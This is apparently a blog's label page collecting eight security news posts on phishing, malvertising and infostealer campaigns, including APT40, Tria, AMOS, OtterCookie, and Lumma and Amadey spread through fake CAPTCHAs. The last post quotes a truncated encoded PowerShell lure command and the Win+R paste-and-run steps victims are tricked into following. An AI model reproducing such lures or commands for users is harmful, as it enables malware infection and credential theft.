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Showing posts with label Malicious Campaign. Show all posts
Phishing scam
Cyber Fraud Google Ads Malicious Campaign PayPal Scam Phishing scam

Scammers Exploit Google and PayPal’s Infrastructure to Steal Users Private Data

 

Cybersecurity experts discovered a sophisticated phishing campaign that used Google Ads and PayPal's infrastructure to defraud users and obtain sensitive personal information. 

The attackers abused vulnerabilities in Google's ad standards and PayPal's "no-code checkout" feature to create fake payment links that appeared authentic, duping victims into communicating with fake customer care agents. 

Malicious actors created fraudulent adverts imitating PayPal. These adverts shown in the top search results on Google, displaying the official PayPal domain to boost user trust. A flaw in Google's landing page regulations allowed these advertisements to send consumers to fraudulent sites hosted on PayPal's legitimate domain.

The URLs used the format paypal.com/ncp/payment/[unique ID], which was designed to allow merchants to securely accept payments without requiring technical knowledge. 

Scammers took advantage of this functionality by customising payment pages with misleading information, such as fake customer service phone numbers labelled as "PayPal Assistance." Victims, particularly those using mobile devices with limited screen area, were more likely to fall for the scam due to the challenges in spotting the fake nature of the links. 

Mobile devices: A key target 

Due to the inherent limitations of smaller screens, mobile users were the campaign's main target. Users of smartphones frequently rely on the top search results without scrolling further, which increases their vulnerability to clicking on malicious ads. Additionally, once they were directed to the phoney payment pages, users would see PayPal's official domain in their browser address bar, which further confirmed the scam's legitimacy. 

Victims who called the fake help numbers were most likely tricked into disclosing sensitive information or making unauthorised payments. According to MalwareBytes Report, this attack highlights how cybercriminals may use trusted platforms such as Google and PayPal to conduct sophisticated scams. Scammers successfully bypassed typical security measures by combining technical flaws with social engineering techniques, preying on people' trust in well-known brands.

The campaign has been reported to Google and PayPal, yet new malicious adverts utilising similar techniques continue to appear. Experts advise people to use caution when interacting with online adverts and to prioritise organic search results above sponsored links when looking for legitimate customer service information. Security technologies such as ad blockers and anti-phishing software can also help to reduce risks by blocking malicious links.
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SamCERT
APT40 Chinese Hacker Cyber Attacks Malicious Campaign SamCERT

China-backed APT40 Hacking Outfit Implicated for Samoa Cyberattacks

 

Samoa's national cybersecurity office issued an urgent advisory after the Chinese state-sponsored cyber outfit APT40 escalated its attacks on government and critical infrastructure networks across the Pacific. 

Samoa's Computer Emergency Response Team, or SamCERT, has warned that APT40 is using fileless malware and modified commodity malware to attack and persist within networks without being detected. 

The majority of Chinese nation-state activity has focused on Southeast Asia and Western nations, but the advisory, based on SamCERT investigations and intelligence from partner nations, warned of digital spying threats posed by the outfit's prolonged presence within targeted networks in the Blue Pacific region, which includes thousands of islands in the vast central Pacific Ocean. 

"It is essential to note that throughout our investigations we have observed the threat actor pre-positioning themselves in the networks for long periods of time and remaining undetected before conducting exfiltration activity," SamCERT noted. "This activity is sophisticated.” 

In August 2023, China-aligned APT40, also known as IslandDreams on Google, launched a phishing attack aimed at victims in Papua New Guinea. The emails had multiple attachments, including an exploit, a password-protected fake PDF that could not be read, and an.lnk file. The.lnk file was created to execute a malicious.dll payload from either a hard-coded IP address or a file-sharing website. 

The final stage of the assault attempts to install BoxRat, an in-memory backdoor for.NET that connects to the attackers' botnet command-and-control network via the Dropbox API. 

APT40, which was previously linked to operations in the United States and Australia, has moved its attention to Pacific island nations, where it employs advanced tactics such as DLL side-loading, registry alterations, and memory-based malware execution. The group's methods also include using modified reverse proxies to gather sensitive data while concealing command-and-control communications. 

SamCERT's findings indicate that APT40 gains long-term access to networks, executing reconnaissance and data theft operations over extended periods. The outfit relies on lateral movement across networks, often using legitimate administrative tools to bypass security measures and maintain control. 

The agency recommends organisations to use methodical threat hunting, enable complete logging, and assess incident response procedures. It further recommends that endpoints and firewalls be patched immediately to close the vulnerabilities exploited by APT40.
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User Privacy
Cyber Scam Malicious Campaign malware Tria Stealer User Privacy

Fake Wedding Invitation Malware Targets Android Users

 

Malicious actors are propagating a recently discovered Android malware called Tria by sending phoney wedding invitations to consumers in Brunei and Malaysia. 

According to a report published by the Russian cybersecurity firm Kaspersky, the attackers have been using private and group chats on Telegram and WhatsApp since mid-2024 to distribute the malware, inviting users to weddings and prompting them to install a mobile app in order to get the invitation.

Once the malware is installed, it can collect private information from call logs, emails (including Gmail and Outlook), SMS messages, and messaging apps (such as WhatsApp and WhatsApp Business). 

Researchers caution that accounts that depend on email and messaging app authentication could be compromised, passwords can be reset, or online banking can be accessed using the stolen data. 

The attackers' main objective seems to be taking complete control of the victims' Telegram and WhatsApp accounts so they can make phoney money requests to connections or propagate malware. To process stolen data, the hackers employ two Telegram bots: one for managing SMS data and another for gathering text from emails and instant messaging apps. 

According to Kaspersky, posts on social media sites like Facebook and X suggest that the campaign has reached a number of Android users in Malaysia, while the precise number of victims is still unknown.

The researchers have not identified a specific organisation responsible for the attack, but evidence implies that the hackers are Indonesian-speaking. 

In 2023, Kaspersky discovered a similar effort known as UdangaSteal, in which hackers stole text messages from users in Indonesia, Malaysia, and India and transmitted the data to their servers using a Telegram bot. The attackers utilised a variety of deceptive approaches to trick users into installing malicious files, such as bogus wedding invites, package delivery notifications, annual tax payment reminders, and job offers. 

Despite their similarities, experts identify major differences between the two attacks, such as distinct malware code, geographic targets, and attack techniques. While UdangaSteal has always focused on SMS theft, experts say Tria has a larger reach, attacking emails and chat apps as well as SMS conversations.
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User Security
Cyber Attacks Malicious Campaign Mishing PDF Files User Security

Cybercriminals Exploit PDFs in Novel Mishing Campaign

 

In a recently uncovered phishing campaign, threat actors are employing malicious PDF files to target mobile device users in potentially more than fifty nations.

Dubbed as the "PDF Mishing Attack," the effort exposes new vulnerabilities in mobile platforms by taking advantage of the general belief that PDFs are a secure file format. 

The phishing campaign poses as the United States Postal Service (USPS) to earn consumers' trust and trick them into downloading infected PDFs. Once opened, the hidden links take victims to phishing pages designed to steal credentials.

"PDFs are used extensively for contracts, reports, manuals, invoices, and other critical business communications," said the zLabs team at Zimperium, who uncovered the campaign. “Their ability to incorporate text, images, hyperlinks, and digital signatures while maintaining integrity makes them ideal for enterprises prioritizing professionalism and compliance.” 

Hidden in plain sight 

Threat analysts at zLabs have been keeping a close eye on the phishing campaign, which targets only mobile devices and poses as the US Postal Service (USPS). It has discovered 630 phishing pages and over 20 malicious PDF files.

“This campaign employs sophisticated social engineering tactics and a never-before-seen means of obfuscation to deliver malicious PDF files designed to steal credentials and compromise sensitive data,” the researchers noted. 

Advanced evasion techniques hide clickable malicious URLs within PDF documents, easily bypassing traditional endpoint security solutions. This assault is primarily aimed at mobile device users, capitalising on the limited accessibility that mobile platforms provide while previewing file contents. Unlike desktop platforms, where PDFs are often used with security overlays, mobile devices lack the same safeguards, leaving users vulnerable to covert attacks. 

On threat detection 

This latest attack highlights the need for enhanced mobile threat defenses. PDFs have long been thought to be safe for sharing and storing information, however this is not the case. 

According to an HP Wolf Security report, PDF threats are on the rise. While online criminals used to primarily use PDF lures to steal credentials and financial data via phishing, there has been a shift and an increase in malware distribution via PDFs, including strains such as WikiLoader, Ursnif, and Darkgate. 

Zimperium emphasises the value of on-device threat detection to find and eliminate these scourges before they can do any damage because traditional endpoint security systems, which are sometimes made with desktop settings in mind, may not be able to detect sophisticated attacks on mobile platforms.
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malware
fake ads Google Ads Infostealer Malicious Campaign malware

Hackers Employ Fake Mac Homebrew Google Ads in Novel Malicious Campaign

 

Hackers are once more exploiting Google advertisements to disseminate malware, using a fake Homebrew website to compromise Macs and Linux systems with an infostealer that harvests credentials, browsing data, and cryptocurrency wallets. 

Ryan Chenkie discovered the fraudulent Google ad campaign and warned on X regarding the potential of malware infection. The malware employed in this operation is AmosStealer (aka 'Atomic'), an infostealer intended for macOS devices and sold to malicious actors on a monthly subscription basis for $1,000. 

The malware recently appeared in various malvertising campaigns promoting bogus Google Meet conferencing pages, and it is now the preferred stealer for fraudsters targeting Apple customers. 

Targeting Homebrew customers 

Homebrew is a popular open-source package manager for macOS and Linux that lets you install, update, and manage software using the command line. 

A fraudulent Google advertising featured the correct Homebrew URL, "brew.sh," misleading even seasoned users into clicking it. However, the ad redirected users to a bogus Homebrew website hosted at "brewe.sh". Malvertisers have extensively exploited this URL strategy to trick users into visiting what appears to be a legitimate website for a project or organisation.

When the visitor arrives at the site, he or she is requested to install Homebrew by copying and pasting a command from the macOS Terminal or Linux shell prompt. The official Homebrew website provides a similar command for installing legitimate software. However, running the command displayed on the bogus website will download and execute malware on the device. 

Cybersecurity expert JAMESWT discovered that the malware injected in this case [VirusTotal] is Amos, a potent infostealer that targets over 50 cryptocurrency extensions, desktop wallets, and online browser data. Mike McQuaid, Homebrew's project leader, indicated that the project is aware of the situation but that it is beyond its control, criticising Google's lack of oversight. 

"Mac Homebrew Project Leader here. This seems taken down now," McQuaid stated on X. "There's little we can do about this really, it keeps happening again and again and Google seems to like taking money from scammers. Please signal-boost this and hopefully someone at Google will fix this for good.”

At the time of writing, the malicious ad has been removed, but the campaign could still run through other redirection domains, therefore Homebrew users should be aware of sponsored project adverts.

To mitigate the risk of malware infection, while clicking on a link in Google, make sure you are directed to the authentic site for a project or company before entering sensitive information or installing software. Another safe option is to bookmark official project websites that you need to visit frequently when sourcing software and utilise them instead of searching online every time.
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User Security
Clickjacking Cyber Fraud Fake Captcha Malicious Campaign User Security

New “Double-Clickjacking” Threat Revealed: Security Settings at Risk

 

Cybersecurity experts are raising alarms about a new twist on the classic clickjacking attack technique. Paulos Yibelo, a security engineer at Amazon, has uncovered a variant called “double-clickjacking,” capable of disabling security settings, deleting accounts, or even taking over existing ones. This novel approach reignites concerns over online safety, urging users to be cautious when interacting with websites.

Clickjacking is a malicious tactic where hackers manipulate user clicks on one website to trigger unintended actions on another. For instance, a user might think they are clicking a button to navigate a site but inadvertently perform an action, such as making a purchase, on an entirely different platform.

Double-clickjacking takes this concept further by introducing an additional click. This adaptation helps attackers bypass modern browser protections that no longer deliver cross-site cookies. According to Yibelo, this seemingly minor tweak “opens the door to new UI manipulation attacks that bypass all known clickjacking protections.”

In documented cases, hackers lure victims to phishing websites, often disguised with a standard CAPTCHA verification process. Instead of typing text or identifying objects in images, users are prompted to double-click a button to prove they are human.

Here’s where the attack takes place:

  • First Click: The user closes the top window, seemingly completing the CAPTCHA process.
  • Second Click: This click is redirected to a sensitive page, such as an OAuth authorization or account settings page. The victim unknowingly confirms permissions, disables security features, or performs other critical actions.

Yibelo explains that this subtle manipulation is effective against many popular websites, allowing attackers to gain OAuth and API authorizations. The attack can also facilitate one-click account modifications, including disabling security settings, deleting accounts, authorizing money transfers, and verifying sensitive transactions. Even browser extensions are not immune to this method.

The Implications for Online Security

The resurgence of clickjacking attacks, now enhanced by the double-click variant, poses significant risks to both individual and organizational security. By exploiting common website interfaces and leveraging seemingly harmless CAPTCHA verifications, attackers can easily gain unauthorized access to sensitive information and functionalities.

Yibelo’s findings serve as a stark reminder of the evolving nature of cybersecurity threats. Websites must remain vigilant, regularly updating their defenses to counter these new manipulation techniques.

How to Stay Safe

Cybersecurity professionals recommend the following precautions to minimize the risk of falling victim to double-clickjacking:

  • Verify Websites: Always ensure you are on a legitimate website before interacting with any CAPTCHA or button.
  • Update Software: Keep browsers and extensions up-to-date with the latest security patches to reduce vulnerabilities.
  • Use Anti-Phishing Tools: Enable browser settings or software designed to detect and block phishing sites.
  • Be Skeptical: Avoid double-clicking buttons on unfamiliar sites, especially if prompted during unexpected verifications.

As cyber threats continue to evolve, user awareness remains a critical line of defense. The discovery of double-clickjacking highlights the importance of staying informed and cautious while navigating the digital world. By adopting secure browsing habits and staying vigilant, individuals and organizations can protect themselves against this emerging attack vector.

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OtterCookie
Infostealer Malicious Campaign malware North Korean Hackers OtterCookie

North Korean Hackers Deploy OtterCookie Malware in Contagious Interview Campaign

 

The North Korean hackers behind the ongoing Contagious Interview campaign have been observed launching a new JavaScript malware named OtterCookie. 

The campaign includes social engineering techniques, with the hacker team frequently posing as recruiters to trick job seekers into downloading malware during an interview process. This entails sharing malware-laced files via GitHub or the official package registry, paving the way for the propagation of malware like BeaverTail and InvisibleFerret. 

Palo Alto Networks Unit 42, which first detected the activity in November 2023, is tracking the cluster as CL-STA-0240. In September 2024, Singaporean cybersecurity company Group-IB disclosed the deployment of an upgraded version of BeaverTail that employs a modular approach, delegating its information-stealing capability to a collection of Python scripts known as CivetQ. 

According to the latest findings from Japanese cybersecurity company NTT Security Holdings, the JavaScript malware that launches BeaverTail is also designed to fetch and execute OtterCookie. 

The new malware is said to have been launched in September 2024, with a new variant identified in the wild last month. OtterCookie, upon running, establishes connections with a command-and-control (C2) server using the Socket.IO JavaScript library, and awaits further instructions. It is intended to execute shell commands that facilitate data theft, including files, clipboard items, and cryptocurrency wallet keys. 

The older OtterCookie variant discovered in September is functionally identical, but with a slight implementation difference: the cryptocurrency wallet key theft capability is directly incorporated into the malware, rather than a remote shell command. The discovery indicates that attackers are actively updating their tools while leaving the infection chain mostly intact, highlighting the campaign's efficacy. 

This comes as South Korea's Ministry of Foreign Affairs (MoFA) sanctioned 15 individuals and one organisation in connection with a fraudulent IT worker program engineered by North Korea to establish a regular source of funds. These funds are funnelled to North Korea, often through data theft and other illegal means. 

Kim Ryu Song, one of the 15 sanctioned individuals, was also charged by the U.S. Department of Justice (DoJ) earlier this month for allegedly participating in a long-running conspiracy to violate sanctions and commit wire fraud, money laundering, and identity theft by illegally seeking employment in U.S. companies and non-profit organisations.
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Online Security
CAPTCHA Lumma Stealer Malicious Campaign malware Online Security

Malware Campaign Expands Its Use of Fraudulent CAPTCHAs

 

Attackers are increasingly spreading malware using a unique method: a fake CAPTCHA as the initial infection vector. Researchers from multiple companies reported on this campaign in August and September. The attackers, who mainly targeted gamers, first transmitted the Lumma stealer to victims via websites hosting cracked games.

The recent adware research shows that this malicious CAPTCHA is spreading through a wide range of online resources unrelated to gaming, including adult sites, file-sharing services, betting platforms, anime resources, and web apps that monetise traffic. This shows that the distribution network is being expanded to reach a larger pool of victims. Furthermore, we discovered that the CAPTCHA distributes both Lumma and the Amadey Trojan. 

Malicious CAPTCHA

It's critical to comprehend how the attackers and their distribution network function in order to prevent falling for their tricks. Legitimate, non-malicious offers are also included in the ad network that pushes pages with the malicious CAPTCHA. 

It works as follows: the user is redirected to additional resources when they click anywhere on a page that uses the ad module. As is common with adware, the majority of redirects take users to websites that advertise security software, ad blockers, and similar products. Sometimes, though, the victim is directed to a page that contains the malicious CAPTCHA. 

Unlike genuine CAPTCHAs, which are intended to safeguard websites from bots, this copycat promotes illicit resources. As with the previous stage, the victim does not always come across malware. For example, the CAPTCHA on one of the sites invites the visitor to scan a QR code, which leads to a betting site. 

The Trojans are distributed using CAPTCHAs that provide instructions. By clicking the "I'm not a robot" button, you can copy the powershell line.exe -eC bQBzAGgAdABhA <...>MAIgA= to the clipboard and displays the following "verification steps": 

  • To open the Run dialogue box, use Win + R. 
  • Subsequently, paste the clipboard line into the text field using CTRL + V. 
  • Finally, press Enter to execute the code. 

Payload: Amadey trojan

Researchers have discovered that the same effort is also propagating the Amadey Trojan. Since 2018, Amadey has been the subject of multiple security reports. In short, the Trojan downloads multiple modules that steal credentials from major browsers and Virtual Network Computing (VNC) systems. 

It also detects cryptocurrency wallet addresses in the clipboard and replaces them with those owned by the attackers. One of the modules can also capture screenshots. In some cases, Amadey downloads the Remcos remote access tool to the victim's device, allowing the attackers complete control over it. 

From September 22 to October 14, 2024, over 140,000 users encountered ad scripts. According to Kaspersky's telemetry data, more than 20,000 of these 140,000 users were routed to infected sites, where some encountered a phoney update notification or a fake CAPTCHA. Users from Brazil, Spain, Italy, and Russia were the most commonly affected.
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